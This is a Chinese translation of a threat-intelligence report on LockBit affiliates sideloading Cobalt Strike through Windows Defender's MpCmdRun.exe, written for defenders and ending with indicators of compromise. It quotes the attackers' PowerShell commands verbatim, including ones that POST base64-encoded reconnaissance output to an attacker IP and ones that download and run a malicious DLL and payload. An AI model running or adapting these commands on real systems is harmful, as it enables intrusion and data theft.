3

依靠 Windows Defender | LockBit 勒索软件通过 Microsoft 安全工具侧面加载 Cobalt S...

 2 years ago
source link: https://paper.seebug.org/1940/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

依靠 Windows Defender | LockBit 勒索软件通过 Microsoft 安全工具侧面加载 Cobalt Strike

2022年08月04日2022年08月04日威胁情报

作者: Julio Dantas, James Haughom, Julien Reisdorffer
译者:知道创宇404实验室翻译组
原文链接:https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/

最近,LockBit受到了相当多的关注。上周,SentinelLabs报道了LockBit 3.0(又名LockBit Black),描述了这种日益流行的RaaS的最新迭代如何实现一系列反分析和反调试例程。我们的研究很快被其他报告类似发现的人跟进。与此同时,早在4月份,SentinelLabs就报告了一家LockBit附属公司如何利用合法的VMware命令行工具VMwareXferlogs.exe来进行侧向加载Cobalt Strike。

在这篇文章中,我们将通过描述LockBit运营商或附属公司使用的另一种合法工具来追踪该事件,只是这次的问题工具属于安全工具:Windows Defender。在最近的调查中,我们发现黑客滥用Windows防御程序的命令行工具MpCmdRun.exe来解密和加载Cobalt Strike的有效载荷。

f253dde0-df04-4052-a8f5-a694c63e6212.jpg-w331s

最初的目标泄露是通过针对未修补的VMWare Horizon服务器的Log4j漏洞发生的。攻击者使用此处记录的PowerShell代码修改了安装web shell的应用程序的Blast Secure Gateway组件。

一旦获得初始访问权限,黑客就执行一系列枚举命令,并试图运行多种开发后工具,包括Meterpreter、PowerShell Empire和一种侧载Cobalt Strike的新方法。

特别是在尝试执行Cobalt Strike时,我们观察到一个新的合法工具用于侧加载恶意DLL,它可以解密负载。

以前观察到的通过删除EDR/EPP的用户地挂钩、Windows事件跟踪和反恶意软件扫描接口来规避防御的技术也被观察到。

c0349041-69e4-4458-b64b-d4451a2c67a6.jpg-w331s

一旦攻击者通过Log4j漏洞获得初始访问权限,侦察就开始使用PowerShell执行命令,并通过对IP的POST base64编码请求过滤命令输出。侦察活动示例如下:

powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((whoami)))))powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((nltest /domain_trusts)))))

一旦攻击者获得足够的权限,他们就会尝试下载并执行多个攻击后有效载荷。

攻击者从其控制的C2下载恶意DLL、加密负载和合法工具:

powershell -c Invoke-WebRequest -uri http://45.32.108[.]54:443/mpclient.dll -OutFile c:\windows\help\windows\mpclient.dll;Invoke-WebRequest -uri http://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\help\windows\c0000015.log;Invoke-WebRequest -uri http://45.32.108[.]54:443/MpCmdRun.exe -OutFile c:\windows\help\windows\MpCmdRun.exe;c:\windows\help\windows\MpCmdRun.exe

值得注意的是,攻击者利用合法的Windows Defender命令行工具MpCmdRun.exe来解密和加载Cobalt Strike有效载荷。

524be4ca-c4b9-426e-988c-1d187ae47d8f.jpg-w331s

我们还注意到用于下载Cobalt Strike有效载荷的IP地址和用于执行侦察的IP地址之间的相关性:在下载Cobalt Strike后不久,攻击者试图执行并将输出发送到以139开头的IP,如下面两个片段所示。

powershell -c Invoke-WebRequest -uri http://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\users\public\glib-2.0.dll;Invoke-WebRequest -uri http://45.32.108[.]54:443/c0000013.log -OutFile c:\users\public\c0000013.log;Invoke-WebRequest -uri http://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\users\public\VMwareXferlogs.exe;c:\users\public\VMwareXferlogs.exe
powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((c:\users\public\VMwareXferlogs.exe)))))

之前报告的 VMwareXferlogs.exe工具的侧加载相同的流程,MpCmd.exe被滥用来侧加载一个武器化的mpclient.dll,它从c0000015.log文件加载并解密Cobalt Strike信标。

因此,在攻击中使用的与使用Windows Defender命令行工具相关的组件有:

文件名 描述
mpclient.dll 由MpCmdRun.exe加载的武器化DLL
MpCmdRun.exe 合法/签名的Microsoft Defender实用程序
C0000015.log 加密Cobalt Strike有效载荷

防御者需要警惕的是,LockBit勒索软件运营商和附属公司正在探索和利用新颖的离地攻击工具,以帮助他们加载Cobalt Strike信标和规避一些常见的EDR和传统的AV检测工具。

更重要的是,那些安全软件进行例外处理的工具,应接受仔细检查。像VMware和Windows Defender这样的产品在企业中非常普遍,如果被允许在安装的安全控制之外运行,它们对参与者的威胁会很大。

IoC Description
a512215a000d1b21f92dbef5d8d57a420197d262 Malicious glib-2.0.dll
729eb505c36c08860c4408db7be85d707bdcbf1b Malicious glib-2.0.dll
c05216f896b289b9b426e249eae8a091a3358182 Malicious glib-2.0.dll
10039d5e5ee5710a067c58e76cd8200451e54b55 Malicious glib-2.0.dll
ff01473073c5460d1e544f5b17cd25dadf9da513 Malicious glib-2.0.dll
e35a702db47cb11337f523933acd3bce2f60346d Encrypted Cobalt Strike payload – c0000015.log
82bd4273fa76f20d51ca514e1070a3369a89313b Encrypted Cobalt Strike payload – c0000015.log
091b490500b5f827cc8cde41c9a7f68174d11302 Decrypted Cobalt Strike payload – c0000015.log
0815277e12d206c5bbb18fd1ade99bf225ede5db Encrypted Cobalt Strike payload – c0000013.log
eed31d16d3673199b34b48fb74278df8ec15ae33 Malicious mpclient.dll
[149.28.137[.]7 ] (ZoomEye搜索结果 Cobalt Strike C2
[45.32.108[.]54 ](ZoomEye搜索结果 IP where the attacker staged the malicious payloads to be downloaded
[139.180.184[.]147 ](ZoomEye搜索结果 Attacker C2 used to receive data from executed commands
info.openjdklab[.]xyz Domain used by the mpclient.dll

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1940/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK